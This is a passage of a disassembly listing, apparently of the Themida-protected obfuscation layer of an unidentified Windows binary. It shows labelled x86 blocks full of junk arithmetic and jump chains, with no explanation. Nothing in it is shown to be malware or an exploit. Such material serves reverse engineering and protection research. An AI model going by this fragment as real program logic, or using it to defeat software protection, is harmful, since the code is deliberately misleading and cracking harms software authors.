or eax, 25250A03h
dec eax
push edi
mov edi, 146F154Bh
jmp loc_563E4E
; ---------------------------------------------------------------------------
loc_570CFE: ; CODE XREF: sub_562ABA-32CDj
mov ebx, esi
pop esi
sub [esp+1Eh+var_1A], ebx
push [esp+1Eh+var_1E]
jmp loc_56A9D2
; ---------------------------------------------------------------------------
loc_570D0D: ; CODE XREF: sub_562ABA+7715j
sub al, dl
push dx
mov dl, 23h
add al, dl
mov dx, word ptr [esp+1Ah+var_1A]
add esp, 2
pop edx
jmp loc_568124
; ---------------------------------------------------------------------------
loc_570D25: ; CODE XREF: sub_562ABA+A89Dj
add ebp, 329E665Eh
mov eax, [esp+14h+var_16+2]
push 17FFh
mov [esp+18h+var_1A+2], ecx
push esp
pop ecx
push 277Fh
jmp loc_56650E
; ---------------------------------------------------------------------------
loc_570D42: ; CODE XREF: sub_562ABA+F67Dj
neg dl
shr dl, 2
jmp loc_56A213
; ---------------------------------------------------------------------------
loc_570D4C: ; CODE XREF: sub_562ABA+934j
xor ecx, [esp+1Ah+var_1A]
mov esp, [esp+1Ah+var_1A]
jmp loc_565BA9
; ---------------------------------------------------------------------------
loc_570D57: ; CODE XREF: sub_562ABA+E824j
pop ebp
add ebp, 4
sub esp, 4
mov [esp+1Ah+var_1A], ecx
push 0E94h
mov [esp+1Eh+var_1E], edi
jmp loc_560E5D
; ---------------------------------------------------------------------------
loc_570D74: ; CODE XREF: sub_562ABA-3E51j
pop eax
xor ch, 6Dh
jmp loc_56CB67
; ---------------------------------------------------------------------------
loc_570D7D: ; CODE XREF: sub_562ABA+29Cj
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+52h+var_52]
pop esp
jmp loc_55F1B1
; ---------------------------------------------------------------------------
loc_570D92: ; CODE XREF: sub_562ABA+49ACj
shl edx, 3
xchg ebx, edx
not ebx
xchg ebx, edx
jmp loc_572A5A
; ---------------------------------------------------------------------------
loc_570DA0: ; CODE XREF: sub_562ABA+645Bj
pop bx
jmp loc_56F66A
; ---------------------------------------------------------------------------
loc_570DA7: ; CODE XREF: sub_562ABA+FAA9j
add esp, 4
jmp loc_560584
; ---------------------------------------------------------------------------
loc_570DAF: ; CODE XREF: sub_562ABA-3C75j
pop ecx
jmp loc_56F478
; ---------------------------------------------------------------------------
loc_570DB5: ; CODE XREF: sub_562ABA+56F6j
xor edi, 49745ECDh
jmp loc_56126A
; ---------------------------------------------------------------------------
loc_570DC0: ; CODE XREF: sub_562ABA+AE53j
mov ah, 0ABh
jmp loc_566FD7
; ---------------------------------------------------------------------------
loc_570DC7: ; CODE XREF: sub_562ABA+338Dj
xor eax, [esp+22h+var_22]
xor [esp+22h+var_22], eax
jmp loc_571159
; ---------------------------------------------------------------------------
loc_570DD2: ; CODE XREF: sub_562ABA+98A5j
and cl, 10h
push ebx
jmp loc_571421
; ---------------------------------------------------------------------------
loc_570DDB: ; CODE XREF: sub_571CD8+Ej
xor ebx, 1E506035h
add ebx, 0D2610042h
sub eax, ebx
pop ebx
sub ebp, eax
pop eax
xchg ebp, [esp+2Ah+var_2C+2]
pop esp
mov [esp+26h+var_28+2], edx
sub esp, 4
mov [esp+2Ah+var_2C+2], ecx
mov ch, 72h
jmp loc_5614A1
; ---------------------------------------------------------------------------
loc_570E01: ; CODE XREF: sub_562ABA+D855j
mov ecx, [esp+2+var_4+2]
add esp, 4
xor eax, edx
mov edx, [esp+0]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+2+var_4+2]
pop esp
push 2D05h
jmp loc_56BE83
; ---------------------------------------------------------------------------
loc_570E25: ; CODE XREF: sub_562ABA+1019Bj
xor [esp+2+var_4+2], edi
pop edx
sub edx, 64226FFDh
mov ecx, edx
pop edx
push ecx
pop eax
mov ecx, [esp-6+arg_0+2]
push edx
push esp
pop edx
add edx, 4
push eax
mov eax, 4
jmp loc_56716F
; ---------------------------------------------------------------------------
loc_570E4B: ; CODE XREF: sub_562ABA+9983j
push 381h
mov [esp+16h+var_16], edi
push esi
jmp loc_5666F6
; ---------------------------------------------------------------------------
loc_570E59: ; CODE XREF: sub_562ABA+13F8j
pop ecx
jmp loc_56014F
; ---------------------------------------------------------------------------
loc_570E5F: ; CODE XREF: sub_562ABA+A117j
xchg ecx, esi
sub esi, 0DF846227h
mov ecx, esi
jmp loc_56CA1A
; ---------------------------------------------------------------------------
loc_570E6E: ; CODE XREF: sub_562ABA+CD25j
or edx, edi
pop edi
shl edx, 7
add edx, 7D01861Ch
add esi, edx
pop edx
pop ecx
jmp loc_562391
; ---------------------------------------------------------------------------
loc_570E83: ; CODE XREF: sub_562ABA+6ED3j
mov ebp, 2D3E3C14h
jmp loc_5637F0
; ---------------------------------------------------------------------------
loc_570E8D: ; CODE XREF: sub_562ABA+7A6Aj
pop eax
add ebx, 4
xor ebx, [esp+22h+var_22]
xor [esp+22h+var_22], ebx
xor ebx, [esp+22h+var_22]
pop esp
push small 3439h
mov word ptr [esp+20h+var_22+2], cx
push eax
mov al, 0A7h
xor al, 94h
mov cl, al
mov eax, [esp+0]
add esp, 4
push 263h
mov [esp+0], ebx
mov bh, 99h
add bh, 85h
sub al, bh
pop ebx
sub esp, 4
mov [esp+0], ecx
mov ch, 0DCh
push ebx
mov bh, 0F8h
sub al, bh
jmp loc_56DD86
; ---------------------------------------------------------------------------
loc_570ED5: ; CODE XREF: sub_562ABA-38j
shr ecx, 5
inc ecx
sub ecx, 3E38B5Fh
and ebp, ecx
pop ecx
neg ebp
jmp loc_568416
; ---------------------------------------------------------------------------
loc_570EE9: ; CODE XREF: sub_562ABA+4893j
add ecx, 4
xchg ecx, [esp+32h+var_32]
pop esp
add esp, 4
push [esp+2Ah+var_2C+2]
pop ebp
add esp, 4
xor ebx, eax
push eax
push edi
mov edi, 33A40A7h
mov eax, edi
jmp loc_56826E
; ---------------------------------------------------------------------------
loc_570F0D: ; CODE XREF: sub_562ABA-25E8j
push edi
mov edi, 0B694E559h
xor eax, edi
jmp loc_561DBC
; ---------------------------------------------------------------------------
loc_570F1A: ; CODE XREF: sub_562ABA-F18j
mov [esp+14h+var_16+2], ebp
push esp
mov ebp, [esp+18h+var_1A+2]
jmp loc_56EC18
; ---------------------------------------------------------------------------
loc_570F26: ; CODE XREF: sub_562ABA+1B4Ej
sub ebx, ecx
pop ecx
push small 5C2Fh
mov word ptr [esp+4+var_4], cx
push edx
jmp loc_563E16
; ---------------------------------------------------------------------------
loc_570F37: ; CODE XREF: sub_562ABA+37CDj
pop ecx
xor ebp, [esp-14h+arg_10]
jmp loc_560452
; ---------------------------------------------------------------------------
loc_570F40: ; CODE XREF: sub_562ABA+1DAFj
add eax, edx
pop edx
sub eax, 2
sub esp, 4
mov [esp+1Eh+var_1E], eax
push [esp+1Eh+var_1A]
mov eax, [esp+22h+var_22]
add esp, 4
jmp loc_56812B
; ---------------------------------------------------------------------------
loc_570F60: ; CODE XREF: sub_55FCA5+49Fj
push esi
push ebx
mov ebx, 3D4F7230h
shr ebx, 5
add ebx, 4C6767D9h
shl ebx, 2
jmp loc_56B9B3
; ---------------------------------------------------------------------------
loc_570F78: ; CODE XREF: sub_562ABA+8336j
xchg eax, [esp+2Ah+var_2C+2]
mov esp, [esp+2Ah+var_2C+2]
jmp loc_56B70B
; ---------------------------------------------------------------------------
loc_570F83: ; CODE XREF: Themida_:00561244j
push 4D37h
mov [esp+0], edx
push 562Ch
mov [esp+32h+var_32], ebx
push eax
jmp loc_565D4A
; ---------------------------------------------------------------------------
loc_570F99: ; CODE XREF: sub_562ABA+F7C0j
add dword ptr [esp+8], 7CF518Ch
jmp loc_56A8C6
; ---------------------------------------------------------------------------
loc_570FA6: ; CODE XREF: sub_562ABA-CC7j
shr dl, 1
and dl, 9Ch
sub dl, 0C6h
sub esp, 4
mov [esp+3Ah+var_3A], eax
mov al, dl
mov bl, al
mov eax, [esp+3Ah+var_3A]
add esp, 4
pop edx
push ax
jmp loc_56E311
; ---------------------------------------------------------------------------
loc_570FC6: ; CODE XREF: sub_562ABA+D12Fj
push esp
pop ebx
push edi
mov edi, 0D5209B6h
neg edi
shl edi, 6
not edi
sub edi, 54826D7Bh
add ebx, edi
pop edi
jmp loc_56021E
; ---------------------------------------------------------------------------
loc_570FE3: ; CODE XREF: sub_562ABA+C740j
pop edx
add eax, 41D85BDDh
push 136Ah
mov [esp+12h+var_12], edi
push esi
mov esi, 7BE819C1h
mov edi, esi
pop esi
push esi
mov esi, 0F81798Eh
jmp loc_561F3A
; ---------------------------------------------------------------------------
loc_571005: ; CODE XREF: sub_562ABA+5745j
sub ebp, 24381F86h
pop eax
push edi
jmp sub_5617E6
; ---------------------------------------------------------------------------
loc_571012: ; CODE XREF: sub_562ABA-1BFEj
xchg esi, [esp+44h+var_46+2]
pop esp
mov [esp+40h+var_42+2], eax
push 5E7Bh
push esp
pop [esp+48h+var_4A+2]
jmp loc_55E6F8
; ---------------------------------------------------------------------------
loc_571027: ; CODE XREF: sub_562ABA-23BBj
push ebx
jmp loc_565E55
; ---------------------------------------------------------------------------
loc_57102D: ; CODE XREF: sub_562ABA+3662j
add esp, 4
pop [esp+30h+var_32+2]
mov esp, [esp+2Ch+var_2C]
mov ax, word ptr [esp+2Ch+var_2C]
jmp loc_56FEA9
; ---------------------------------------------------------------------------
loc_57103F: ; CODE XREF: sub_562ABA+F4D2j
mov ah, 0A3h
and ah, 0D4h
shr ah, 5
inc ah
shr ah, 6
jmp loc_569F8A
; ---------------------------------------------------------------------------
loc_571051: ; CODE XREF: sub_562ABA-4294j
sub esp, 4
mov [esp+16h+var_16], edx
push edi
push 1E2D201Fh
pop edi
jmp loc_567FCF
; ---------------------------------------------------------------------------
loc_571066: ; CODE XREF: sub_562ABA+A41Aj
sub esp, 4
jmp loc_56C707
; ---------------------------------------------------------------------------
loc_571071: ; CODE XREF: sub_562ABA+9DEBj
mov esi, 91809E7h
neg esi
push eax
mov eax, 32BFF3D7h
sub esi, eax
pop eax
add edi, esi
pop esi
sub ebx, edi
jmp loc_56E863
; ---------------------------------------------------------------------------
loc_57108B: ; CODE XREF: sub_562ABA+9917j
mov ebx, [esp+14h+var_16+2]
add esp, 4
xchg ebp, [esp+10h+var_12+2]
mov esp, [esp+10h+var_12+2]
add esp, 4
push esi
jmp loc_5709FA
; ---------------------------------------------------------------------------
loc_5710A6: ; CODE XREF: sub_562ABA+2034j
mov [esp+44h+var_46+2], ecx
mov cl, al
push 12Eh
mov [esp+48h+var_4A+2], eax
mov al, cl
jmp loc_569137
; ---------------------------------------------------------------------------
loc_5710BA: ; CODE XREF: sub_562ABA-3225j
mov ecx, ebp
pop ebp
pop ebx
sub ecx, edi
pop edi
add ecx, 5CD835F7h
and ecx, 1F977832h
and ecx, 76400709h
shr ecx, 4
dec ecx
xor ecx, 0C1308000h
xor eax, ecx
jmp loc_56D81A
; ---------------------------------------------------------------------------
loc_5710E4: ; CODE XREF: sub_562ABA+6EABj
mov edi, 49AB14CFh
jmp loc_56B8D1
; ---------------------------------------------------------------------------
loc_5710EE: ; CODE XREF: sub_562ABA-4262j
xchg ecx, [esp+0Ah+var_C+2]
jmp loc_560D11
; ---------------------------------------------------------------------------
loc_5710F6: ; CODE XREF: sub_562ABA+CD1Bj
add [esp+16h+var_16], 419E527Fh
mov ebx, [esp+16h+var_16]
add esp, 4
sub ebx, 419E527Fh
pop edx
push dword ptr [esp+0]
pop esi
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_565EFE
; ---------------------------------------------------------------------------
loc_571125: ; CODE XREF: sub_562ABA+7E96j
add esp, 4
mov ebx, [esp+4+var_4]
add esp, 4
push eax
jmp loc_56CC68
; ---------------------------------------------------------------------------
loc_571137: ; CODE XREF: sub_562ABA-3B0Dj
mov edi, [esp+2Ah+var_2C+2]
add esp, 4
jmp loc_5671B1
; ---------------------------------------------------------------------------
loc_571142: ; CODE XREF: sub_562ABA+F5F8j
pop ecx
add ah, 0B2h
sub ah, 0C1h
jmp loc_5666E0
; ---------------------------------------------------------------------------
loc_57114E: ; CODE XREF: sub_562ABA+FF03j
xor cl, ah
pop eax
push eax
mov al, 0A5h
jmp loc_571C84
; ---------------------------------------------------------------------------
loc_571159: ; CODE XREF: sub_562ABA+E313j
xor eax, [esp+22h+var_22]
mov esp, [esp+22h+var_22]
shr ecx, 0Bh
push edi
mov edi, esp
jmp loc_569F95
; ---------------------------------------------------------------------------
loc_57116A: ; CODE XREF: sub_562ABA+B91Aj
shr edi, 8
push eax
mov eax, 973E6355h
jmp loc_568386
; ---------------------------------------------------------------------------
loc_571178: ; CODE XREF: sub_562ABA+D64Dj
xor ecx, [esp+0Ah+var_C+2]
jmp loc_561D6E
; ---------------------------------------------------------------------------
loc_571180: ; CODE XREF: sub_562ABA+C54Cj
mov ebp, 4
add eax, 59475ADDh
add eax, ebp
sub eax, 59475ADDh
pop ebp
xor eax, [esp+26h+var_28+2]
xor [esp+26h+var_28+2], eax
xor eax, [esp+26h+var_28+2]
pop esp
push [esp+22h+var_22]
pop edx
push 17F7h
mov [esp+26h+var_28+2], edi
push esp
push [esp+2Ah+var_2C+2]
pop edi
jmp loc_5635C5
; ---------------------------------------------------------------------------
loc_5711B2: ; CODE XREF: sub_562ABA+8B49j
push eax
mov eax, 4
jmp loc_56CFD7
; ---------------------------------------------------------------------------
loc_5711BD: ; CODE XREF: sub_562ABA+50Fj
mov ecx, 4
sub ebx, 50AA4EF1h
add ebx, ecx
add ebx, 50AA4EF1h
pop ecx
add ebx, 4
xor ebx, [esp+8+var_8]
xor [esp+8+var_8], ebx
xor ebx, [esp+8+var_8]
jmp loc_56267E
; ---------------------------------------------------------------------------
loc_5711E2: ; CODE XREF: sub_562ABA+F283j
mov dl, cl
pop ecx
jmp loc_56F934
; ---------------------------------------------------------------------------
loc_5711EA: ; CODE XREF: sub_562ABA+FF18j
mov esp, [esp+4+var_4]
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5711F2: ; CODE XREF: sub_562ABA+2F26j
not edx
jmp loc_56D781
; ---------------------------------------------------------------------------
loc_5711F9: ; CODE XREF: sub_562ABA+5491j
mov dh, ah
pop eax
pop ecx
add dh, cl
pop ecx
xor al, dh
pop edx
sub bh, al
pop eax
push bx
mov bl, 0CDh
sub al, 57h
add al, bl
add al, 57h
mov bx, word ptr [esp-10h+arg_C]
add esp, 2
add al, bh
sub al, 0CDh
pop ebx
xor bl, al
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_57122C: ; CODE XREF: sub_562ABA+9223j
pop esp
sub esp, 4
mov [esp-12h+arg_C+2], esi
mov esi, esp
add esi, 4
push ebp
push ebx
mov ebx, 39F016EDh
not ebx
shr ebx, 1
or ebx, 71E30DBDh
add ebx, 55F41DCh
sub ebx, 45116C98h
sub ebx, 3435D2FDh
mov ebp, ebx
pop ebx
jmp loc_563278
; ---------------------------------------------------------------------------
loc_571266: ; CODE XREF: sub_562ABA-42F0j
add esp, 4
push 625Bh
mov [esp+26h+var_28+2], ecx
mov ecx, 786D39CDh
and edx, ecx
push [esp+26h+var_28+2]
pop ecx
jmp loc_5677BC
; ---------------------------------------------------------------------------
loc_571284: ; CODE XREF: sub_562ABA+224j
push 408Bh
mov [esp+12h+var_12], ecx
push esi
push esp
mov esi, [esp+1Ah+var_1A]
add esp, 4
add esi, 4
push ebx
jmp loc_56CF82
; ---------------------------------------------------------------------------
loc_5712A0: ; CODE XREF: sub_562ABA+D84Ej
add edi, 4
push 559h
mov [esp+3Ah+var_3A], ebx
mov ebx, 4
jmp loc_563CDE
; ---------------------------------------------------------------------------
lodsb
push cx
push ecx
jmp loc_572123
; ---------------------------------------------------------------------------
loc_5712C1: ; CODE XREF: sub_562ABA+5CC6j
push esp
pop [esp+3Eh+var_3E]
jmp loc_572037
; ---------------------------------------------------------------------------
loc_5712CA: ; CODE XREF: sub_562ABA+A750j
pop esp
mov [esp+16h+var_16], ebp
push 4C3h
push esp
pop [esp+1Eh+var_1E]
add [esp+1Ah+var_1A], 4
jmp loc_570D57
; ---------------------------------------------------------------------------
loc_5712E3: ; CODE XREF: sub_562ABA+7024j
shr eax, 6
shr eax, 3
jmp loc_5644E5
; ---------------------------------------------------------------------------
loc_5712EE: ; CODE XREF: sub_562ABA+FEEBj
pop [esp+36h+var_36]
jmp loc_56F5DE
; ---------------------------------------------------------------------------
push [esp+32h+var_32]
pop ecx
push 4854h
mov [esp+36h+var_36], ebp
mov ebp, esp
push edi
jmp loc_57038F
; ---------------------------------------------------------------------------
loc_57130A: ; CODE XREF: sub_562ABA-59Ej
sub ebx, 23156822h
add ebx, edi
add ebx, 23156822h
pop edi
push eax
mov eax, 79F771D4h
add ebx, eax
mov eax, [esp+0]
add esp, 4
jmp loc_56B2CB
; ---------------------------------------------------------------------------
loc_57132C: ; CODE XREF: sub_562ABA+F6Ej
pop esi
xor esi, 3C82790Dh
jmp loc_56947C
; ---------------------------------------------------------------------------
loc_571338: ; CODE XREF: sub_562ABA+618Cj
mov ebx, [esp-1Ch+arg_18]
push 6556h
jmp loc_566C33
; ---------------------------------------------------------------------------
loc_571345: ; CODE XREF: sub_562ABA+CA83j
add ebx, 28EE40A0h
pop eax
add ebx, eax
add ebx, 66BE77B0h
mov eax, [esp-0Eh+arg_8+2]
jmp loc_5644ED
; ---------------------------------------------------------------------------
loc_57135C: ; CODE XREF: sub_562ABA+C949j
movzx eax, al
push dword ptr [edi+eax*4]
push ecx
push edx
push 4A07F14h
pop edx
sub edx, 22EA668Eh
add edx, 7BC11C0Eh
push 4C56h
mov [esp+32h+var_32], edi
mov edi, edx
mov ecx, edi
pop edi
pop edx
sub [esp+2Ah+var_28+2], 45D044B1h
sub [esp+2Ah+var_28+2], ecx
jmp loc_569E43
; ---------------------------------------------------------------------------
loc_571395: ; CODE XREF: sub_562ABA+3594j
add ebp, 7B746520h
sub ebp, 79800C84h
add ebp, ebx
jmp loc_56C9B6
; ---------------------------------------------------------------------------
loc_5713A8: ; CODE XREF: sub_560EC1+1j
mov ebx, 63C8589Fh
add eax, ebx
mov ebx, [esp+2+var_4+2]
add esp, 4
add eax, edx
push edi
mov edi, 21716357h
neg edi
shr edi, 1
sub edi, 0B7EF5B5h
sub eax, edi
pop edi
mov edx, [esp+0]
jmp loc_56E1D4
; ---------------------------------------------------------------------------
loc_5713D5: ; CODE XREF: sub_562ABA+467Cj
push ebp
jmp loc_569CE4
; ---------------------------------------------------------------------------
loc_5713DB: ; CODE XREF: sub_562ABA-1B3Fj
mov esp, [esp-10h+arg_C]
mov [esp-10h+arg_C], esp
jmp loc_56AFF0
; ---------------------------------------------------------------------------
loc_5713E6: ; CODE XREF: sub_562ABA+1487j
push eax
mov eax, 1C7B768Eh
jmp loc_56844A
; ---------------------------------------------------------------------------
loc_5713F1: ; CODE XREF: sub_562ABA-1FE5j
sub esi, 4
xchg esi, [esp+12h+var_12]
jmp loc_568EBA
; ---------------------------------------------------------------------------
loc_5713FC: ; CODE XREF: sub_562ABA+68F3j
sub eax, ebp
jmp loc_566B7C
; ---------------------------------------------------------------------------
loc_571403: ; CODE XREF: sub_562ABA+5E76j
add ecx, 4
xchg ecx, [esp+4Ah+var_4A]
pop esp
push esi
push esp
pop esi
add esi, 4
push ecx
mov ecx, 4
add esi, ecx
pop ecx
jmp loc_5630A3
; ---------------------------------------------------------------------------
loc_571421: ; CODE XREF: sub_562ABA+E31Cj
mov bh, 8Ch
add bh, 0F8h
or bh, 60h
jmp loc_56CED9
; ---------------------------------------------------------------------------
loc_57142E: ; DATA XREF: Themida_:0055DDCCo
mov cx, word ptr [esp+32h+var_32]
jmp loc_561A8C
; ---------------------------------------------------------------------------
loc_571437: ; CODE XREF: sub_562ABA-74Ej
mov [esp+4+var_4], esi
jmp loc_5667DE
; ---------------------------------------------------------------------------
push [esp+4+var_4]
mov eax, [esp+8+var_8]
add esp, 4
sub esp, 4
mov [esp+8+var_8], ecx
jmp loc_565EE3
; ---------------------------------------------------------------------------
loc_571453: ; CODE XREF: sub_562ABA+B17Fj
mov edx, 4
mov ebx, edx
pop edx
add ebp, 4D76670h
add ebp, ebx
sub ebp, 4D76670h
pop ebx
push edx
mov edx, 4
sub ebp, edx
pop edx
xor ebp, [esp+26h+var_28+2]
xor [esp+26h+var_28+2], ebp
xor ebp, [esp+26h+var_28+2]
pop esp
mov [esp+22h+var_22], ebx
push 2826h
jmp loc_56C75F
; ---------------------------------------------------------------------------
loc_57148A: ; CODE XREF: sub_562ABA+85B3j
push edi
mov edi, 4
push 218Bh
jmp loc_5613B9
; ---------------------------------------------------------------------------
loc_57149A: ; CODE XREF: sub_562ABA+533Aj
xor ecx, 83C61316h
mov eax, ecx
jmp loc_5626DB
; ---------------------------------------------------------------------------
loc_5714A7: ; CODE XREF: sub_562ABA+F6E7j
xor ebp, [esp+1Ch+var_1E+2]
mov esp, [esp+1Ch+var_1E+2]
jmp loc_56DBED
; ---------------------------------------------------------------------------
loc_5714B2: ; CODE XREF: sub_562ABA+7F66j
xor [esp+48h+var_4A+2], eax
push eax
xor [esp+4Ch+var_4E+2], edi
xor edi, [esp+4Ch+var_4E+2]
xor [esp+4Ch+var_4E+2], edi
xchg esi, edi
not esi
jmp loc_5657EF
; ---------------------------------------------------------------------------
loc_5714C8: ; CODE XREF: sub_55FCA5+3Bj
dec edi
xor edi, 4EDD5728h
jmp loc_567A5C
; ---------------------------------------------------------------------------
loc_5714D4: ; CODE XREF: sub_562ABA+37D8j
push [esp-14h+arg_10]
pop ebx
push eax
jmp loc_5703CA
; ---------------------------------------------------------------------------
loc_5714DE: ; CODE XREF: sub_562ABA+6557j
pop ebp
xor edi, ecx
push [esp+44h+var_46+2]
jmp loc_56A084
; ---------------------------------------------------------------------------
loc_5714E9: ; CODE XREF: sub_562ABA+70E8j
bts word ptr [esp+6+var_8+2], ax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5714F4: ; CODE XREF: sub_562ABA+F08Fj
and ebx, 381F4D39h
sub ebx, 749743A9h
xor ebx, 0FB7A69B3h
sub eax, ebx
mov ebx, [esp+0Ah+var_C+2]
add esp, 4
add eax, 3F3D7768h
and eax, 604D63D1h
jmp loc_56CEAB
; ---------------------------------------------------------------------------
loc_57151D: ; CODE XREF: sub_562ABA+6D1Bj
add ebx, 4
add ebx, 4
xchg ebx, [esp+0]
pop esp
push 0
jmp loc_5693B2
; ---------------------------------------------------------------------------
loc_571534: ; CODE XREF: sub_562ABA-283Ej
add al, ch
mov ecx, [esp-6+arg_0+2]
push esi
mov esi, esp
jmp loc_565261
; ---------------------------------------------------------------------------
loc_571541: ; CODE XREF: sub_562ABA+33B0j
pop ebp
add ecx, 4
jmp loc_562FFA
; ---------------------------------------------------------------------------
loc_57154D: ; CODE XREF: sub_55FCA5+1EF3j
sub ecx, edi
pop edi
pop ebp
add ebx, ecx
mov ecx, [esp+12h+var_12]
add esp, 4
jmp loc_563D53
; ---------------------------------------------------------------------------
loc_57155E: ; CODE XREF: sub_562ABA+FEB3j
pop edx
and edi, 1C623A6Fh
dec edi
shl edi, 7
add edi, 449F01B4h
shr edi, 1
xor edi, 53A5710Eh
jmp loc_5699EA
; ---------------------------------------------------------------------------
loc_57157C: ; CODE XREF: sub_562ABA+528Bj
xor ecx, [esp+1Eh+var_1E]
xor [esp+1Eh+var_1E], ecx
xor ecx, [esp+1Eh+var_1E]
mov esp, [esp+1Eh+var_1E]
mov [esp+1Eh+var_1E], ebp
mov ebp, 1F673736h
add ecx, 29E41F4Ch
add ecx, ebp
jmp loc_5681B5
; ---------------------------------------------------------------------------
loc_57159D: ; CODE XREF: sub_562ABA+CE54j
mov edx, 205F1CFEh
xchg edi, edx
jmp loc_56040D
; ---------------------------------------------------------------------------
loc_5715A9: ; CODE XREF: sub_562ABA+100B6j
push ecx
mov ecx, 1FBA4558h
neg ecx
add ecx, 51359860h
jmp loc_57224C
; ---------------------------------------------------------------------------
loc_5715BC: ; CODE XREF: sub_562ABA+1F86j
shr esi, 7
push eax
mov eax, 796E413Fh
jmp loc_55E74F
; ---------------------------------------------------------------------------
loc_5715CA: ; CODE XREF: sub_562ABA-28A9j
pop esi
xor ax, dx
mov dx, word ptr [esp-0Eh+arg_8+2]
add esp, 2
push ebx
push ax
jmp loc_5700E7
; ---------------------------------------------------------------------------
loc_5715E0: ; CODE XREF: sub_562ABA+372Ej
shr ebp, 5
or ebp, 5C0B6CD1h
sub ebp, 5644FD1h
mov eax, ebp
jmp loc_569370
; ---------------------------------------------------------------------------
loc_5715F6: ; CODE XREF: sub_56217C+19j
pop edx
add ebx, 4
xchg ebx, [esp+22h+var_22]
jmp loc_567519
; ---------------------------------------------------------------------------
loc_571605: ; CODE XREF: sub_562ABA+BE9Dj
add [esp+32h+var_32], 5EF50F07h
pop ecx
sub ecx, 5EF50F07h
pop esi
xor ecx, 328F3D35h
and eax, ecx
push [esp+2Ah+var_2C+2]
pop ecx
push ebx
mov ebx, esp
push edi
mov edi, 78100096h
push ecx
mov ecx, 291E593Bh
add ecx, 4C967C96h
add ecx, 7D5F0657h
inc ecx
add ecx, 6A868249h
add edi, ecx
mov ecx, [esp+36h+var_36]
add esp, 4
jmp loc_5636B3
; ---------------------------------------------------------------------------
loc_571652: ; CODE XREF: sub_562ABA+DEEDj
add esp, 4
jmp loc_562224
; ---------------------------------------------------------------------------
loc_57165A: ; CODE XREF: sub_562ABA+CFB2j
mov [esp+5Ah+var_5A], eax
push ebx
mov bh, 0EDh
sub esp, 4
mov [esp+62h+var_62], edx
mov dl, 52h
mov al, dl
pop edx
sub al, bh
mov ebx, [esp+5Eh+var_5E]
add esp, 4
add al, 9Bh
mov bh, al
jmp loc_5662E8
; ---------------------------------------------------------------------------
loc_571682: ; CODE XREF: sub_562ABA+2B88j
mov edx, 533757F9h
dec edx
jmp loc_560E3C
; ---------------------------------------------------------------------------
loc_57168D: ; CODE XREF: sub_562ABA+27F4j
add esp, 4
push ebx
pop esi
pop ebx
add edx, 57CF32DCh
add edx, esi
push ebp
push 5727h
mov [esp+36h+var_36], esi
mov esi, 328715C6h
add esi, 32732ED5h
mov ebp, esi
pop esi
inc ebp
or ebp, 62A17195h
jmp loc_568B59
; ---------------------------------------------------------------------------
loc_5716C1: ; CODE XREF: sub_562ABA+776Dj
and al, ch
mov cx, [esp+0]
jmp loc_5696FB
; ---------------------------------------------------------------------------
loc_5716CC: ; CODE XREF: sub_562ABA-47A9j
add ebp, 4
push 3CFh
mov [esp+0], edx
mov edx, 6765685Fh
jmp loc_56E3AD
; ---------------------------------------------------------------------------
loc_5716E4: ; CODE XREF: sub_55FCA5+40Bj
add ebp, 4A43F1Fh
pop edi
jmp loc_56D2E1
; ---------------------------------------------------------------------------
loc_5716F0: ; CODE XREF: sub_562ABA-3EDFj
pop esi
add esp, 4
push 4037h
mov [esp+0], ecx
mov ecx, 0
add ecx, 5FC16BA9h
add ecx, eax
sub ecx, 5FC16BA9h
push edx
push edi
push ecx
push 150721BEh
pop ecx
add [esp+3Ah+var_36], 7A174273h
jmp loc_55E3E0
; ---------------------------------------------------------------------------
loc_571728: ; CODE XREF: sub_562ABA+BD3Fj
mov [esp+12h+var_12], ebx
push esp
jmp loc_5679E2
; ---------------------------------------------------------------------------
loc_571731: ; CODE XREF: sub_562ABA+8999j
push edx
mov edx, 3BAA63D8h
mov edi, 3BAA63D7h
sub edi, edx
jmp loc_572B1A
; ---------------------------------------------------------------------------
loc_571743: ; CODE XREF: sub_562ABA-3BD9j
pop edi
push 340Bh
mov [esp+0], ebx
push [esp+2Eh+var_2C+2]
push [esp+32h+var_32]
mov ebx, [esp+36h+var_36]
add esp, 4
jmp loc_56C8AA
; ---------------------------------------------------------------------------
loc_571761: ; CODE XREF: sub_562ABA+7735j
pop esi
sub edx, 75A2E9D4h
and eax, edx
jmp loc_56DEEF
; ---------------------------------------------------------------------------
loc_57176F: ; CODE XREF: sub_562ABA+BF12j
push esi
push eax
mov eax, esp
push esi
mov esi, 4
add eax, esi
pop esi
jmp loc_56830B
; ---------------------------------------------------------------------------
loc_571781: ; CODE XREF: sub_562ABA+FE7Aj
mov word ptr [esp+2Ah+var_2C+2], bx
jmp loc_55F4E5
; ---------------------------------------------------------------------------
loc_57178A: ; CODE XREF: sub_562ABA+ADDFj
pop ecx
push ecx
push 31E8h
jmp loc_560D75
; ---------------------------------------------------------------------------
loc_571796: ; CODE XREF: sub_562ABA-317Dj
pop ecx
add edx, esi
push [esp+0Ah+var_C+2]
pop esi
add esp, 4
shr edx, 8
xor edx, 41FE2C40h
push 17A1h
jmp loc_5684EE
; ---------------------------------------------------------------------------
loc_5717B6: ; CODE XREF: sub_562ABA+6E26j
pop esp
xor edx, esi
mov esi, [esp-10h+arg_C]
jmp loc_5648D8
; ---------------------------------------------------------------------------
loc_5717C1: ; CODE XREF: sub_562ABA+CCD8j
add edx, ebp
pop ebp
pop ebx
xchg edx, [esp+46h+var_46]
mov esp, [esp+46h+var_46]
sub esp, 4
mov [esp+4Ah+var_4A], ebp
push 1D09h
jmp loc_568188
; ---------------------------------------------------------------------------
loc_5717DE: ; CODE XREF: sub_562ABA+CA76j
add esi, 0BDF785B6h
add edi, esi
push [esp+32h+var_32]
pop esi
push edx
jmp loc_564077
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+36h+var_36]
push 4088h
mov [esp+3Ah+var_3A], ebx
mov ebx, esp
sub esp, 4
mov [esp+3Eh+var_3E], edi
mov edi, 4
jmp loc_56295E
; ---------------------------------------------------------------------------
loc_571811: ; CODE XREF: sub_562ABA+BAA2j
add esp, 4
jmp loc_56FFB6
; ---------------------------------------------------------------------------
loc_57181C: ; CODE XREF: sub_562ABA+7920j
add edx, edi
